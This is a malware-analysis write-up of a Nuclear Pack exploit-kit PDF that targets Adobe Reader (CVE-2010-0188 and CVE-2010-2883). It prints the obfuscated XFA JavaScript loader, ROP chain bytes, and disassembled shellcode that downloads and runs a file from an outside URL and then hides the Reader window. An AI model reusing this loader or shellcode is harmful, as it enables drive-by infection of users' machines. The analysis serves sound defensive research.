PDF analysis of Nuclear Pack EK and CVE-2010-0188/CVE-2010-2883

On Malwarebytes’ blog it’s recently been published a description about Nuclear Pack exploit kit, though there isn’t a description of the PDF exploit used, so we’ve decided to proceed with a more in-depth analysis.

PDF analysis

In order to start the analysis we have used peepdf:

PDF1

There are two objects that appear to be suspicious: so let’s start with… object 1:

PDF2

Object 1 contains an AcroForm (the document’s interactive form dictionary) which points to object 3 having the key XFA, which might indicate a stream, or array, containing an XFA (Adobe XML Forms Architecture) resource.

So let’s see object 17, referenced from the previous argument:

<< /Length 20 0 R
/Filter /FlateDecode
 >>
stream
<?xml version="1.0" encoding="UTF-8"?><xdp:xdp xmlns:xdp="http://ns.adobe.com/xd
p/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<linearized>3</linearized>
<interactive>1</interactive>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination></present></config>
<template>
<subform name="var_2_" layout="tb" locale="en_US">
<pageSet>
<pageArea id="var_3_" name="var_3_">
<contentArea h="787pt" w="577pt" x="0.26in" y="0.26in"/>
<medium long="797pt" short="617pt" stock="default"/>
</pageArea>
</pageSet>
<field h="79mm" name="var_1_" w="96mm" x="46.6501mm" y="99.649mm">
<event activity="initialize" name="var_4_"><script contentType="application/x-ja
vascript">    var dcdc=' YY YY YY YYfYYuYYnYYcYYtYYiYYoYYnYY YYbYYaYYsYYeYY6YY4Y
Y_YYdYYeYYcYYoYYdYYeYY(YY YYdYY YY)YY YY{YYvYYaYYrYY YYbYY6YY4YY YY=YY YY"YYAYYB
YYCYYDYYEYYFYYGYYHYYIYYJYYKYYLYYMYYNYYOYYPYYQYYRYYSYYTYYUYYVYYWYYXYYYYYZYYaYYbYY
cYYdYYeYYfYYgYYhYYiYYjYYkYYlYYmYYnYYoYYpYYqYYrYYsYYtYYuYYvYYwYYxYYyYYzYY0YY1YY2Y
Y3YY4YY5YY6YY7YY8YY9YY+YY/YY=YY"YY;YYvYYaYYrYY YYoYY1YY,YY YYoYY2YY,YY YYoYY3YY,
YY YYhYY1YY,YY YYhYY2YY,YY YYhYY3YY,YY YYhYY4YY,YY YYbYY,YY YYiYY=YY0YY,YY YYeYY
nYYcYY=YY"YY"YY;YYdYYoYY YY{YY YY YYhYY1YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOY
YfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)YY;YYhYY2YY YY=YY YYbYY6YY4YY.YYi
YYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)YY;YYhYY3YY YY=YY
 YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)Y
Y;YYhYY4YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(
YYiYY+YY+YY)YY)YY;YYbYY YY=YY YYhYY1YY&lt;YY&lt;YY1YY8YY YY|YY YYhYY2YY&lt;YY&lt
;YY1YY2YY YY|YY YYhYY3YY&lt;YY&lt;YY6YY YY|YY YYhYY4YY;YYoYY1YY YY=YY YYbYY>YY>Y
Y1YY6YY YY&amp;YY YY0YYxYYfYYfYY;YYoYY2YY YY=YY YYbYY>YY>YY8YY YY&amp;YY YY0YYxY
YfYYfYY;YYoYY3YY YY=YY YYbYY YY&amp;YY YY0YYxYYfYYfYY;YYiYYfYY YY(YYhYY3YY YY=YY
=YY YY6YY4YY)YY YY YYeYYnYYcYY YY+YY=YY YYSYYtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhY
YaYYrYYCYYoYYdYYeYY(YYoYY1YY)YY;YYeYYlYYsYYeYY YYiYYfYY YY(YYhYY4YY YY=YY=YY YY6
YY4YY)YY YYeYYnYYcYY YY+YY=YY YYSYYtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhYYaYYrYYCYY
oYYdYYeYY(YYoYY1YY,YY YYoYY2YY)YY;YYeYYlYYsYYeYY YY YY YYeYYnYYcYY YY+YY=YY YYSY
YtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhYYaYYrYYCYYoYYdYYeYY(YYoYY1YY,YY YYoYY2YY,YY
YYoYY3YY)YY;YY}YY YYwYYhYYiYYlYYeYY YY(YYiYY YY&lt;YY YYdYY.YYlYYeYYnYYgYYtYYhYY
)YY;YYrYYeYYtYYuYYrYYnYY YYeYYnYYcYY;YY}YYvYYaYYrYY1YY1YY1YY=YYbYYaYYsYYeYY6YY4Y
Y_YYdYYeYYcYYoYYdYYeYY(YYeYYvYYeYYnYYtYY.YYtYYaYYrYYgYYeYYtYY.YYiYYnYYfYYoYY.YYd
YYoYYpYYeYYrYYzYYaYY)YY;YYeYYvYYeYYnYYtYY.YYtYYaYYrYYgYYeYYtYY.YYeYYvYYaYYlYY(YY
vYYaYYrYY1YY1YY1YY)YY;YY';    fgfg='xexvxaxl';oee=xfa.data.nodes.item(0);oee=oee
+'';fgfg=oee[4]+fgfg[3]+fgfg[5]+fgfg[7];if(oee[4]=='e'){zea=3}else{zea=4};asd=''
;taran='charAt';for (i=0;i&lt;dcdc.length;i +=zea){   asd +=dcdc[taran](i);};mox
='get';sox='tar'+mox;opop()[sox][fgfg](asd);function opop(){fvfv=event;return fv
fv;};</script></event>
<ui><imageEdit/></ui>
</field>
</subform>
</template>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" accessibleContent="1" change="1" c
ontentCopy="1" documentAssembly="1" formFieldFilling="1" metadata="1" modifyAnno
ts="1" print="1" printHighQuality="1"/>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"><xfa:data><var
_2_><var_1_/></var_2_></xfa:data></xfa:datasets>
<xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve"><annots/></xfdf>
<form xmlns="http://www.xfa.org/schema/xfa-form/2.8/" />
</xdp:xdp>
endstream

As you can see it’s a XML tree with javascript code. The only interesting thing here is how the code creates the “eval” string:

fgfg = 'xexvxaxl';
oee = xfa.data.nodes.item(0); //object XFAObject
oee = oee + ''; //oee has "[object XFAObject]" string
fgfg = oee[4] + fgfg[3] + fgfg[5] + fgfg[7]; //make "eval" string

We have started to debug the pdf with the embedded javascript debugger found in Acrobat, we can see that the oee variable, which is an array of characters, contains [object XFAObject] string:

PDF4

The javascript code into XFA, that in turn calls the eval(), generates another js code in which there are a function to decode base64 encrypted stream (base64_decode(d)) and another eval() function. To check the output we can simply put the js code into an HTML page and debug it with Firebug:

Firebug

Let’s now check the asd variable:

function base64_decode(d) {
     var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
     var o1, o2, o3, h1, h2, h3, h4, b, i = 0,
         enc = "";
     do {
         ...
     } while (i < d.length);
     return enc;
 }
 var111 = base64_decode(event.target.info.doperza);
 event.target.eval(var111);

So the object “doperza” is decoded and executed. But, where is doperza? Inside the pdf of course, but where? Let’s check the second encoded stream: object 42:

PPDF> object 42

<< /Length 11088
/Filter /FlateDecode
 >>
stream
dmFyIGR2c2Zicndld2RhZHN3ZWZxID0gWzE5LDI5LDEwLDI0XTsgZnVuY3Rpb24gS05MOTIoKXt9O3Zh
ciBXTks5bXU9J2d4Sic7ZnVuY3Rpb24gYmdobnR5cmV0cmdmZ3J0aCgpeyBmdW5jdGlvbiBSTUNzQjko
KXt9O2Z1bmN0aW9uIHJadmlZKCl7aWYoJ3l3QlonPT0nV
.....

MjY4Jz09JycpdmFyIHJxb0o9J2FyZ2MnO312YXIgdVVwOw==
endstream

Let’s check this object’s references:

PDF3

So inside object 41, there’s the key “doperza” referring to object 42 in our encoded stream.

After executing this layer we finally have the exploit code: this code is exploit CVE-2010-0188 and is the same found by Malware Must Die .

ExploitFunction

The only thing MalwareMustDie guys didn’t say was that the “ret” value is written in a XFA field element : “A field element is the workhorse of a template and represents a data-entry region” having imageEdit tag: “imageEdit widget that allows images (editable) to be supplied as URIs” , through var_1_ var which is the name of this field.

Shellcode analysis

So the exploit works on Adobe Reader 8.0 until Adobe Reader 9.3 version, and it has two shellcode versions: one for  8.0.0 =< version < 8.2.01 and other for version >= 8.2.01. Let’s start with the first.

The execution flow should be this:

  1. Heap Spray the shellcode
  2. Exploit LibTiff bug
  3. Execute ShellCode

For the second point foot js variable is important, we have created a simple python script to inspect its code:

import base64
import binascii
t = "o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK"
bytes = base64.b64decode(t)
binascii.hexlify(bytes)
'a3eb804a 3820824a 6e2f804a ffffffff 00000000 40000000 00000000 00100000 00000000 7e16804a 2020600f 7c10804a'

The code seems to be a ROP (Return Oriented Programming) attack: in fact debugging on Adobe Reader 8 we can see that 0x4a80eba3 is an address of icucnv34.dll, while at 0x4a822038 there’s a pointer to the CreateFileMapping API.

AdobeDebug1

After searching the web for previous analyses, we came up with this post on contagio blog: it’s CVE-2010-2883, for more info about how the shellcode joke in libtiff check the link.

“ffffffff 00000000 40000000 00000000 00100000 00000000” are the arguments to CreateFileMapping API.

There are two interesting addresses: 4080167e and 4080107c

AdobeDebug2

AdobeDebug3

In this way ESP, the stack pointer register, points to a region of memory which starts with f602020 address. In this region there is the content of sc_hex var, that is the shellcode. After that MapViewOfFile API is called to maps in memory the shellcode to be used and executed by memcpy. Now EIP point to EP of shellcode which begin with 0xb083 bytes.

AdobeDebug4

AdobeDebug5

Another way to find the shellcode is to check the sh_hex variable:

4c 20 60 0f 05 17 80 4a 3c 20 60 0f 0f 63 80 4a a3 eb 80 4a 30 20 82 4a 6e 2f 80 4a 41 41 41 41 
26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 39 80 4a 64 20 60 0f 00 04 00 00 41 41 41 41 
41 41 41 41 b0 83 90 90 eb 16 ....

As you can see there are some very recognisable opcodes: 0x90 and 0xEB and the shellcode. We can start from 0xb083 to disassemble the code:

L_00000000:   mov al, 0x83
L_00000002:   nop 
L_00000003:   nop 
L_00000004:   jmp 0x1c
L_00000006:   mov ecx, 0x14c
L_0000000B:   mov esi, [esp]
L_0000000E:   mov edi, esi
L_00000010:   cmp byte [esi], 0xe9
L_00000013:   jz 0x1b
L_00000015:   lodsb 
L_00000016:   xor al, 0x8e
L_00000018:   stosb 
L_00000019:   loop 0x15
L_0000001B:   ret 
L_0000001C:   call 0x6 ; set the return addr to RVA 0x21

This is the first decryption layer, after which we will find the real shellcode:

L_00000021:   jmp 0x132
....
L_00000132:   call 0x26 ; save into stack the string pointed at 0x137
L_00000137:   "http://50d88d1ad05y.correctzoom.uni.me/f/1406197380/6"
L_00000026:   pop esi
L_00000027:   sub esp, 0x15c
L_0000002D:   mov edi, esp
L_0000002F:   lea ecx, [edi+0x10]
....
L_0000004B:   push 0x6e6f ; push "on" string
L_00000050:   push 0x6d6c7275 ; push "urlm" string
L_00000055:   push esp ; get the pointer to "urlmon" string
L_00000056:   push 0xec0e4e8e ; "LoadLibraryA" encripted string
L_0000005B:   call 0xa8 ; get Kernel32 base address
L_00000060:   push eax ; push Kernel32 base
L_00000061:   call 0xe2 ; get LoadLibraryA API address
L_00000066:   call eax ; call LoadLibraryA with "urlmon" as argument
L_00000068:   add esp, 0x8
L_0000006B:   push 0x54fef4f ;"URLDownloadToCacheFileA" encrypted string
L_00000070:   push eax ; push urlmon base
L_00000071:   call 0xe2 ; get LoadLibraryA API address
L_00000076:   call eax ; call the API with string 0x137 as argument
L_00000078:   test eax, eax 
L_0000007A:   jnz 0x93 ; jump on error if URLDownloadToCacheFileA API returns E_FAIL
L_0000007C:   push 0x54
L_0000007E:   pop ecx
L_0000007F:   rep stosb 
L_00000081:   push 0x16b3fe72 ; "CreateProcessA" encripted string
L_00000086:   call 0xa8 ; get Kernel32 base address
L_0000008B:   push eax
L_0000008C:   call 0xe2 ; get LoadLibraryA API address
L_00000091:   call eax ; call API
L_00000093:   push ebx
L_00000094:   push -0x2
L_00000096:   push 0xbd016f89 ; "TerminateThread" encripted string
L_0000009B:   call 0xa8 ; get Kernel32 base address
L_000000A0:   push eax 
L_000000A1:   call 0xe2 ; get LoadLibraryA API address
L_000000A6:   call eax ; call API

By calling TerminateThread, the exploit makes the Adobe Reader instance hidden: it’s running but the GUI is not visible.

The second shellcode works in the same way of the previous one, the only different is in the use of icucnv36.dll library instead of icucnv34.dll for the construction of the ROP chain.

To check what the dowloaded file do, check this malwarebytes post.

Here you’ll find all the decrypted code of the exploit without junk code (password, as usual, is: infected).

Pn & Antelox